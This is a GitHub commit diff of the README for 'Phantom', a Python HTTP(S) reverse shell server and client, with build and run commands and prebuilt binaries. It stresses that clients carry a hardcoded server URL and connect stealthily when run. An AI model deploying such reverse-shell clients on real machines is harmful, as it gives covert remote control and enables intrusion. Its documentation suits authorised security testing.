Skip to content

Commit 7a96746

Browse files
committed
Update README.md
1 parent 23af3e3 commit 7a96746

File tree

1 file changed

+59
-47
lines changed

1 file changed

+59
-47
lines changed

README.md

Lines changed: 59 additions & 47 deletions
Original file line numberDiff line numberDiff line change
@@ -1,81 +1,93 @@
1-
# Python 3 HTTPS Reverse Shell
1+
# Phantom - A multi-platform HTTP(S) Reverse Shell Server and Client
22

33
![Python Version](https://img.shields.io/badge/python-3.9+-blue?style=for-the-badge&logo=python)
4-
[![CodeFactor Grade](https://img.shields.io/codefactor/grade/github/EONRaider/BCA-HTTPS-Reverse-Shell?label=CodeFactor&logo=codefactor&style=for-the-badge)](https://www.codefactor.io/repository/github/EONRaider/BCA-HTTPS-Reverse-Shell)
4+
[![CodeFactor Grade](https://img.shields.io/codefactor/grade/github/EONRaider/BCA-Phantom?label=CodeFactor&logo=codefactor&style=for-the-badge)](https://www.codefactor.io/repository/github/EONRaider/BCA-Phantom)
55
![OS](https://img.shields.io/badge/GNU%2FLinux-red?style=for-the-badge&logo=linux)
66
![OS](https://img.shields.io/badge/Windows-blue?style=for-the-badge&logo=windows)
77

88
[![Reddit](https://img.shields.io/badge/Reddit-EONRaider-FF4500?style=flat-square&logo=reddit)](https://www.reddit.com/user/eonraider)
99
[![Discord](https://img.shields.io/badge/Discord-EONRaider-7289DA?style=flat-square&logo=discord)](https://discord.gg/KVjWBptv)
1010
[![Twitter](https://img.shields.io/badge/Twitter-eon__raider-38A1F3?style=flat-square&logo=twitter)](https://twitter.com/intent/follow?screen_name=eon_raider)
1111

12-
A **cross-platform HTTPS Reverse Shell** server and client in Python 3. Binaries for
13-
Linux and Windows platforms can be built through an embedded script that implements
12+
Phantom is a **multi-platform HTTP(S) Reverse Shell** server and client in Python 3. Binaries for
13+
Linux and Windows platforms can be built through an embedded script that executes
1414
PyInstaller.
1515

16-
This application also includes a helper shell script that enables fast generation of
16+
Reverse shells can be established through HTTP or HTTPS. The certificates used for
17+
HTTPS can be auto-generated by Phantom or supplied by the user.
18+
19+
Phantom includes a helper shell script that enables fast generation of
1720
self-signed certificates for use of both servers and clients. After generation, the
1821
server and certificate authority certificates required for encrypted connections
1922
are bundled in the binaries for portability and ease of execution.
2023

24+
## Demo
25+
![demo](https://github.com/EONRaider/static/blob/97b0e81aee6eb0f2b255a26cd138299e2361d025/https-reverse-shell/usage.gif)
26+
2127
## Try it out!
22-
If you just need to see the tool in action on a local environment, simply head over
23-
to the [demo-files](https://github.com/EONRaider/BCA-HTTPS-Reverse-Shell/tree/master/demo-files)
24-
directory and download the pre-built Linux/Unix/macOS or Windows binaries.
28+
Simply head over to the [dist directory](https://github.com/EONRaider/BCA-Phantom/tree/master/dist)
29+
and download the pre-built Linux/Unix or Windows binaries.
2530

26-
The files are all bundled with certificates for `localhost` and work straight out-of-the-box. *Just
27-
set them with permissions to execute and run.*
31+
The HTTP client files are set to connect to http://localhost:8080, whereas the HTTPS client bundles a CA certificate file for https://localhost:4443 and will
32+
only connect to this socket. With that in mind, choose either HTTP or HTTPS and run the server on one shell:
33+
```shell
34+
./linux_server http://localhost:8080
35+
<-- or -->
36+
./linux_server https://localhost:4443
37+
```
38+
And the client on another one...
39+
```shell
40+
./http_linux_client
41+
<-- or -->
42+
./https_linux_client
43+
```
44+
The same procedure works for the Windows binaries.
45+
46+
## Setup
47+
### HTTP Server and Client
48+
*You don't need to set up the server and client for HTTP connections.* The server will
49+
work straight out-of-the-box and the client will connect to any HTTP server. Just [download
50+
the HTTP binaries from dist](https://github.com/EONRaider/BCA-Phantom/tree/master/dist)
51+
and you're done. Execute the binaries with the `--help` option for instructions.
2852

29-
## Build
53+
### HTTPS Server and Client
3054
Encrypted communication through HTTPS requires at least two certificates: One for
3155
the server, named `server.pem` by default, and another for the certificate authority, or `ca.pem`.
32-
This HTTPS Reverse Shell bundles both files in binaries for fast deployment. They can be
56+
Phantom bundles both files in binaries for fast deployment. They can be
3357
generated by [multiple methods](https://www.digitalocean.com/community/tutorials/openssl-essentials-working-with-ssl-certificates-private-keys-and-csrs)
34-
or by a simple execution of the [generate_certs.sh](https://github.com/EONRaider/BCA-HTTPS-Reverse-Shell/blob/master/src/generate_certs.sh) helper script.
58+
or by a simple execution of the [generate_certs.sh](https://github.com/EONRaider/BCA-Phantom/blob/master/src/generate_certs.sh) helper script.
3559

36-
Once the certificates are ready you only need to (I) install the dependencies and (II)
37-
run `build.py` to build the `server` and `client` binaries.
60+
Once the certificates are ready you only need to follow the steps from the [build](https://github.com/EONRaider/BCA-Phantom/tree/master#build)
61+
section below.
3862

63+
## Build and Run an HTTPS Server/Client
3964
### I. Install Dependencies
4065
Dependency management works with both [Poetry](https://python-poetry.org/) (recommended)
41-
and [Virtualenv](https://virtualenv.pypa.io/en/latest/)
66+
and [Virtualenv](https://virtualenv.pypa.io/en/latest/). You need to install all
67+
dependencies before building binaries.
4268
```shell
43-
git clone https://github.com/EONRaider/BCA-HTTPS-Reverse-Shell.git
44-
cd BCA-HTTPS-Reverse-Shell
69+
git clone https://github.com/EONRaider/BCA-Phantom.git
70+
cd BCA-Phantom
4571
poetry install <--or--> pip install -r requirements.txt
4672
```
4773

48-
### II. Build Server and Client binaries
49-
The `build.py` file takes care of it all.
50-
```shell
51-
python build.py server --server-cert /path/to/server.pem
52-
python build.py client --ca-cert /path/to/ca.pem
53-
```
54-
55-
## Usage
56-
![usage](https://github.com/EONRaider/static/blob/97b0e81aee6eb0f2b255a26cd138299e2361d025/https-reverse-shell/usage.gif)
57-
58-
## Development mode (optional)
59-
You could optionally run the HTTPS Reverse Shell directly from a local Python 3
60-
interpreter. [Install all dependencies](https://github.com/EONRaider/BCA-HTTPS-Reverse-Shell/tree/master#i-install-dependencies)
61-
and run the `server.py` and `client.py` files. All required certificates will be
62-
automatically generated for `localhost`.
63-
64-
Execute the **Server** on one shell...
65-
```shell
66-
python src/server/server.py localhost 4443
67-
```
68-
69-
... And the **Client** on another shell:
70-
```shell
71-
python src/client/client.py \
72-
--host localhost \
73-
--port 4443 \
74-
--ca-cert src/server/ca.pem
75-
```
74+
### II. Build HTTPS Server and Client binaries
75+
The `build.py` file centralizes the process and takes care of it all. Notice that
76+
a built Client binary contains a *hardcoded server URL*. **The connection to the server can
77+
be stealthily performed by simply executing the binary.**
78+
- Build and run the **Server**
79+
```shell
80+
python build.py server --server-cert /path/to/server.pem
81+
./linux_server SERVER_URL
82+
```
83+
- Build and run the **Client**
84+
```shell
85+
python build.py client --url SERVER_URL --ca-cert /path/to/ca.pem
86+
./https_linux_client
87+
```
88+
The same procedure works for the Windows binaries.
7689

7790
## Legal Disclaimer
78-
7991
The use of code contained in this repository, either in part or in its totality,
8092
for engaging targets without prior mutual consent is illegal. **It is
8193
the end user's responsibility to obey all applicable local, state and

0 commit comments

Comments
 (0)